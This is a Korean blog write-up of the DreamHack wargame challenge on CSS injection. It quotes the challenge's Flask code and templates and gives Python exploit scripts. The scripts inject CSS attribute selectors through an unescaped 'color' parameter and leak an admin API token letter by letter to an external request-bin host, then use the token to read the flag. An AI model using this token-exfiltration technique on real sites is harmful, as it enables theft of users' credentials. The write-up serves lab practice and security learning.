https://dreamhack.io/wargame/challenges/421
난이도: Level 3
문제 풀이
새로운 계정 생성 및 로그인 후, MyPage로 들어가면 위와 같이 API Token이 존재하는 것을 확인할 수 있습니다.
main.py
def token_generate():
while True:
token = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
token_exists = execute('SELECT * FROM users WHERE token = :token;', {'token': token})
if not token_exists:
return token
토큰 생성 함수를 보면, 소문자로 구성된 8자리 토큰을 생성하는 것을 알 수 있습니다.
@app.before_first_request
def init():
execute('DROP TABLE IF EXISTS users;')
execute('''
CREATE TABLE users (
uid INTEGER PRIMARY KEY,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
token TEXT NOT NULL UNIQUE
);
''')
execute('DROP TABLE IF EXISTS memo;')
execute('''
CREATE TABLE memo (
idx INTEGER PRIMARY KEY,
uid INTEGER NOT NULL,
text TEXT NOT NULL
);
''')
# Add admin
execute(
'INSERT INTO users (username, password, token)'
'VALUES (:username, :password, :token);',
{
'username': ADMIN_USERNAME,
'password': hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
'token': token_generate()
}
)
adminUid = execute('SELECT * FROM users WHERE username = :username;', {'username': ADMIN_USERNAME})
# Add FLAG
execute(
'INSERT INTO memo (uid, text)'
'VALUES (:uid, :text);',
{
'uid': adminUid[0][0],
'text': 'FLAG is ' + FLAG
}
)
다음으로, init 함수는 유저 테이블 삭제 및 생성, administrator 관리자 계정 생성, 메모 테이블에 FLAG 삽입을 수행합니다. 관리자 생성 시, token_generate() 함수를 호출하여 토큰을 생성하므로 관리자 계정의 토큰을 알아내어 메모에 쓰여있는 플래그를 얻으면 될 것 같습니다.
templates/mypage.html
{% extends "base.html" %}
{% block head %}
{{ super() }}
{% endblock %}
{% block content %}
<div class="form-group">
<label for="InputUid">UID</label>
<input type="text" class="form-control" id="InputUid" readonly value="{{ user[0] }}">
</div>
<div class="form-group">
<label for="InputUsername">Username</label>
<input type="text" class="form-control" id="InputUsername" readonly value="{{ user[1] }}">
</div>
<div class="form-group">
<label for="InputApitoken">API Token</label>
<input type="text" class="form-control" id="InputApitoken" readonly value="{{ user[3] }}">
<button class="btn btn-primary" onclick="TokenCopy()">Copy</button>
</div>
<script>
function TokenCopy() {
var copyText = document.getElementById("InputApitoken");
copyText.focus();
copyText.select();
try {
var successful = document.execCommand('copy');
alert('Copied !');
} catch (err) {
alert('Oops, unable to copy');
}
}
</script>
{% endblock %}
MyPage를 보았을 때, CSS Injection을 시도할만한 부분은 보이지 않았고, base.html을 extends 하는 것을 확인하였습니다.
templates/base.html
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="{{ url_for('static', filename='css/bootstrap.min.css') }}">
<link rel="stylesheet" href="{{ url_for('static', filename='css/bootstrap-theme.min.css') }}">
<link rel="stylesheet" href="{{ url_for('static', filename='css/non-responsive.css') }}">
{% block head %}{% endblock %}
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="{{ url_for('index') }}">Index</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="{{ url_for('index') }}">Home</a></li>
<li><a href="{{ url_for('memopage') }}">Memo</a></li>
<li><a href="{{ url_for('report') }}">Report</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
{% if session['uid'] %}
<li><a>Username : <b>{{ session['username'] }}</b></a></li>
<li><a href="{{ url_for('mypage') }}">Mypage</a></li>
<li><a href="{{ url_for('logout') }}">Logout</a></li>
{% else %}
<li><a href="{{ url_for('login') }}">Login</a></li>
{% endif %}
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<style>
body{
background-color: {{ color }};
}
</style>
<div class="container">
{% with messages = get_flashed_messages() %}
{% if messages %}
{% for message in messages %}
<div class="alert alert-info alert-dismissible show" role="alert">
{{ message }}
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<script>
setTimeout(function(){
$('.alert').alert('close');}, 3000);
</script>
{% endfor %}
{% endif %}
{% endwith %}
{% block content %}{% endblock %}
</div> <!-- /container -->
<!-- Bootstrap core JavaScript -->
<script src="{{ url_for('static', filename='js/jquery.min.js')}}"></script>
<script src="{{ url_for('static', filename='js/bootstrap.min.js') }}"></script>
</body>
<style> body { background-color: {{ color }}; } </style> 해당 부분에 color 값이 어디에 지정되어 있는지 확인하였습니다.
@app.context_processor
def background_color():
color = request.args.get('color', 'white')
return dict(color=color)
그 결과, main.py에서 color 값이 지정되어 있었고 color 인자 값을 받지 않았을 경우 white로 지정됨을 알 수 있었습니다.
http://host3.dreamhack.games:14240/mypage?color=red
color 인자로 red 값을 넘겨주면, body 부분이 빨간색으로 변하는 것을 확인하였습니다. 즉, CSS Injection이 가능한 부분을 알아내었기에 이제 CSS Injection을 시도해 주면 됩니다.
Exploit Code
import requests
import string
url = "http://host3.dreamhack.games:14240/report"
data = {'path': ''}
for ch in string.ascii_lowercase:
path = "/mypage?color=red;}} input[id=InputApitoken][value^={}] {{ background: url(https://imburmh.request.dreamhack.games?data={});".format(ch, ch)
data['path'] = path
print(data)
requests.post(url, data=data)
API Token에 포함되는 문자일 경우, 아래와 같이 문자가 표시됩니다.
해당되는 문자를 아래와 같이 추가한 후, 다시 시도하여 다음 문자를 알아냅니다.
import requests
import string
url = "http://host3.dreamhack.games:14240/report"
data = {'path': ''}
for ch in string.ascii_lowercase:
path = "/mypage?color=red;}} input[id=InputApitoken][value^=d{}] {{ background: url(https://imburmh.request.dreamhack.games?data={});".format(ch, ch)
data['path'] = path
print(data)
requests.post(url, data=data)
이를 8번 반복하여 API Token을 알아낸 다음, /api/memo 경로에 접근하여 메모 내용을 읽어오면 플래그를 획득할 수 있습니다.
import requests
headers = {"API-KEY": "You should find it through CSS Injection"}
url = "http://host3.dreamhack.games:14240/api/memo"
r = requests.get(url, headers=headers)
print(r.text)
'DreamHack' 카테고리의 다른 글
[DreamHack] weblog-1 (2) | 2023.09.01 |
---|---|
[DreamHack] DOM XSS (0) | 2023.09.01 |
[DreamHack] Relative Path Overwrite Advanced (2) | 2023.08.13 |
[DreamHack] Relative Path Overwrite (0) | 2023.08.13 |
[DreamHack] filestorage (0) | 2023.08.10 |